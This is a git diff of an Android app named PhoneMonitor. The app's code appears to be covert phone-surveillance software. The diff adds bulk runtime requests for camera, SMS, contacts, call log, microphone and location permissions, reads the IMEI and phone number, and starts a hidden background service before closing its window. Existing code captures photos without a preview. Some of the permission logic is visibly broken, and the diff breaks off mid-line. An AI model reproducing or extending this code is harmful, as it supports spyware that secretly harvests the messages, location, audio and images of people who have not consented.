diff --git a/AndroidStudioProject/PhoneMonitor/app/build.gradle b/AndroidStudioProject/PhoneMonitor/app/build.gradle index 10a48fe..9cb092f 100644 --- a/AndroidStudioProject/PhoneMonitor/app/build.gradle +++ b/AndroidStudioProject/PhoneMonitor/app/build.gradle @@ -13,10 +13,11 @@ android { defaultConfig { applicationId "com.monitor.phone.s0ft.phonemonitor" minSdkVersion 15 - targetSdkVersion 21 + targetSdkVersion 26 versionCode 1 versionName "1.0" testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" + } buildTypes { release { @@ -26,6 +27,7 @@ android { } productFlavors { } + } dependencies { diff --git a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CameraCapture.java b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CameraCapture.java index 8a99e9c..cb69430 100644 --- a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CameraCapture.java +++ b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/CameraCapture.java @@ -28,7 +28,7 @@ enum PictureCaptureMethod { private final Context context; private boolean cameraBusy = false; - private JSONArray photosBase64Arr = new JSONArray(); + private final JSONArray photosBase64Arr = new JSONArray(); CameraCapture(Context context) { this.context = context; @@ -237,7 +237,6 @@ public void onPictureTaken(byte[] bytes, Camera camera) { } - /* * References: * https://stackoverflow.com/questions/2386025/taking-picture-from-camera-without-preview diff --git a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/HelperMethods.java b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/HelperMethods.java index ef0e3d4..75f6391 100644 --- a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/HelperMethods.java +++ b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/HelperMethods.java @@ -1,15 +1,20 @@ package com.monitor.phone.s0ft.phonemonitor; +import android.Manifest; +import android.annotation.SuppressLint; import android.app.AlarmManager; import android.app.PendingIntent; import android.content.Context; import android.content.Intent; +import android.content.pm.PackageManager; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.os.Build; import android.os.SystemClock; import android.provider.Settings; +import android.support.annotation.RequiresApi; +import android.support.v4.app.ActivityCompat; import android.telephony.TelephonyManager; import android.util.Log; @@ -24,6 +29,7 @@ public class HelperMethods { + static MainActivity checkPermissions = new MainActivity(); static boolean isInternetAvailable(Context context) { boolean retval = false; @@ -95,21 +101,36 @@ public boolean accept(File file) { } + @RequiresApi(api = Build.VERSION_CODES.M) static String getIMEI(Context context) { String retval = ""; TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); if (telephonyManager != null) { + if (ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { + // TODO: Consider calling + // ActivityCompat#requestPermissions + // here to request the missing permissions, and then overriding + // public void onRequestPermissionsResult(int requestCode, String[] permissions, + // int[] grantResults) + // to handle the case where the user grants the permission. See the documentation + // for ActivityCompat#requestPermissions for more details. + return "false"; + } retval = telephonyManager.getDeviceId(); + } return retval; } + @SuppressLint("MissingPermission") + @RequiresApi(api = Build.VERSION_CODES.M) static String getNumber(Context context) { String retval = ""; TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); if (telephonyManager != null) { retval = telephonyManager.getLine1Number(); + } return retval; } diff --git a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainActivity.java b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainActivity.java index 1f39365..70ac3ef 100644 --- a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainActivity.java +++ b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainActivity.java @@ -1,39 +1,222 @@ package com.monitor.phone.s0ft.phonemonitor; +import android.Manifest; import android.app.Activity; -import android.content.Context; import android.content.Intent; -import android.database.Cursor; -import android.location.Criteria; -import android.location.Location; -import android.location.LocationListener; -import android.location.LocationManager; -import android.net.Uri; +import android.content.pm.PackageManager; +import android.os.Build; import android.os.Bundle; -import android.os.Handler; -import android.provider.ContactsContract; -import android.provider.Settings; -import android.support.v7.widget.ThemedSpinnerAdapter; -import android.util.Log; -import android.widget.Toast; +import android.support.annotation.NonNull; +import android.support.annotation.RequiresApi; -import org.json.JSONArray; -import org.json.JSONException; -import org.json.JSONObject; - -import java.util.Date; -import java.util.concurrent.Callable; +import static android.Manifest.permission.READ_SMS; public class MainActivity extends Activity { + private static final int MY_CAMERA_REQUEST_CODE = 100; + private static final int MY_EXT_STORE_REQUEST_CODE = 101; + private static final int MY_CALL_PHONE_REQUEST_CODE = 102; + private static final int MY_READ_PHONE_REQUEST_CODE = 103; + private static final int MY_READ_CONTACTS_REQUEST_CODE = 104; + private static final int MY_RECEIVE_SMS_REQUEST_CODE = 105; + private static final int MY_READ_SMS_REQUEST_CODE = 106; + private static final int MY_READ_PHONE_NUMBERS_REQUEST_CODE = 107; + private static final int MY_SEND_SMS_REQUEST_CODE = 108; + private static final int MY_RECORD_AUDIO_REQUEST_CODE = 109; + private static final int ACCESS_FINE_LOCATION_REQUEST_CODE = 110; + + + boolean isRationale, isFirst; + static int REQUEST_CODE_PERMISSIONS = 11; + + @RequiresApi(api = Build.VERSION_CODES.M) @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); - Intent intent=new Intent(this,MainService.class); + + /*Intent intent=new Intent(this,MainService.class); startService(intent); - finish(); + finish();*/ + + //askPermissions(true); + //checkPermission(); + if (checkPermission()) { + Intent intent = new Intent(this, MainService.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(intent); + } else { + startService(intent); + } + //startService(intent); + finish(); + } + + + } + + + @RequiresApi(api = Build.VERSION_CODES.M) + public boolean checkPermission() { + + String[] permissions = {Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE, + Manifest.permission.CALL_PHONE, Manifest.permission.READ_PHONE_STATE, Manifest.permission.READ_CONTACTS, + Manifest.permission.RECEIVE_SMS, Manifest.permission.ACCESS_FINE_LOCATION, + Manifest.permission.READ_CALL_LOG, Manifest.permission.RECORD_AUDIO, READ_SMS, + Manifest.permission.SEND_SMS, Manifest.permission.READ_PHONE_NUMBERS}; + + if ((checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.READ_PHONE_NUMBERS) != PackageManager.PERMISSION_GRANTED) && + (checkSelfPermission(Manifest.permission.SEND_SMS) != PackageManager.PERMISSION_GRANTED)) { + requestPermissions(permissions, REQUEST_CODE_PERMISSIONS); + } + + /* if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { + requestPermissions(new String[]{Manifest.permission.CAMERA}, MY_CAMERA_REQUEST_CODE); + } + if (checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { + requestPermissions(new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, MY_EXT_STORE_REQUEST_CODE); + } + if (checkSelfPermission(Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) { + requestPermissions(new String[]{Manifest.permission.CALL_PHONE}, MY_CALL_PHONE_REQUEST_CODE); + } + if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { + requestPermissions(new String[]{Manifest.permission.READ_PHONE_STATE}, MY_READ_PHONE_REQUEST_CODE); + } + if (checkSelfPermission(Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) { + requestPermissions(new String[]{Manifest.permission.READ_CONTACTS}, MY_READ_CONTACTS_REQUEST_CODE); + } + + if (checkSelfPermission(Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED) { + requestPermissions(new String[]{Manifest.permission.RECEIVE_SMS}, MY_RECEIVE_SMS_REQUEST_CODE); + }*/ + return true; + } + + + @Override + public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { + /*if (requestCode == REQUEST_CODE_PERMISSIONS) { + Map perms = new HashMap(); + // Initial + perms.put(Manifest.permission.WRITE_EXTERNAL_STORAGE, PackageManager.PERMISSION_GRANTED); + perms.put(Manifest.permission.CALL_PHONE, PackageManager.PERMISSION_GRANTED); + perms.put(Manifest.permission.READ_PHONE_STATE, PackageManager.PERMISSION_GRANTED); + perms.put(Manifest.permission.READ_CONTACTS, PackageManager.PERMISSION_GRANTED); + perms.put(Manifest.permission.RECEIVE_SMS, PackageManager.PERMISSION_GRANTED); + // Fill with results + for (int i = 0; i < permissions.length; i++) { + perms.put(permissions[i], grantResults[i]); + } + // Check for ACCESS_FINE_LOCATION + if (perms.get(Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED && + perms.get(Manifest.permission.CALL_PHONE) == PackageManager.PERMISSION_GRANTED && + perms.get(Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED && + perms.get(Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED && + perms.get(Manifest.permission.RECEIVE_SMS) == PackageManager.PERMISSION_GRANTED) { + // All Permissions Granted + //startActivity(new Intent(PermissionsActivity.this, SplashActivity.class)); + Intent intent=new Intent(this,MainService.class); + startService(intent); + finish(); + } else { + // Permission Denied + Toast.makeText(this, "Some Permission is Denied.", Toast.LENGTH_SHORT) + .show(); + isFirst = false; + askPermissions(true); + } + }*/ + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + if ((requestCode == MY_CAMERA_REQUEST_CODE) && (requestCode == MY_EXT_STORE_REQUEST_CODE) && + (requestCode == MY_CALL_PHONE_REQUEST_CODE) && (requestCode == MY_READ_PHONE_REQUEST_CODE) && + (requestCode == MY_READ_CONTACTS_REQUEST_CODE) && (requestCode == MY_RECEIVE_SMS_REQUEST_CODE) && + (requestCode == MY_READ_SMS_REQUEST_CODE) && (requestCode == MY_READ_PHONE_NUMBERS_REQUEST_CODE) && + (requestCode == MY_SEND_SMS_REQUEST_CODE) && (requestCode == ACCESS_FINE_LOCATION_REQUEST_CODE) && + (requestCode == MY_RECORD_AUDIO_REQUEST_CODE)) { + for (int grantResult : grantResults) { + if (grantResult == PackageManager.PERMISSION_GRANTED) { + Intent intent = new Intent(this, MainService.class); + startService(intent); + finish(); + } + } + } + + + // Check for ACCESS_FINE_LOCATION + /* if (requestCode == MY_CAMERA_REQUEST_CODE) { + for(int i = 0 ; i